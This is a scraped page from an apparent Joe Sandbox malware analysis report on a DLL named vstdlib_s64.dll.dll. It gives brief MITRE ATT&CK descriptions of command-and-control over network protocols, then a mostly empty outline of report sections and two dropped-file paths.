Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

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Windows Analysis Report vstdlib_s64.dll.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\rundll32.exe.log

C:\Windows\System32\Data.log

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
vstdlib_s64.dll.dll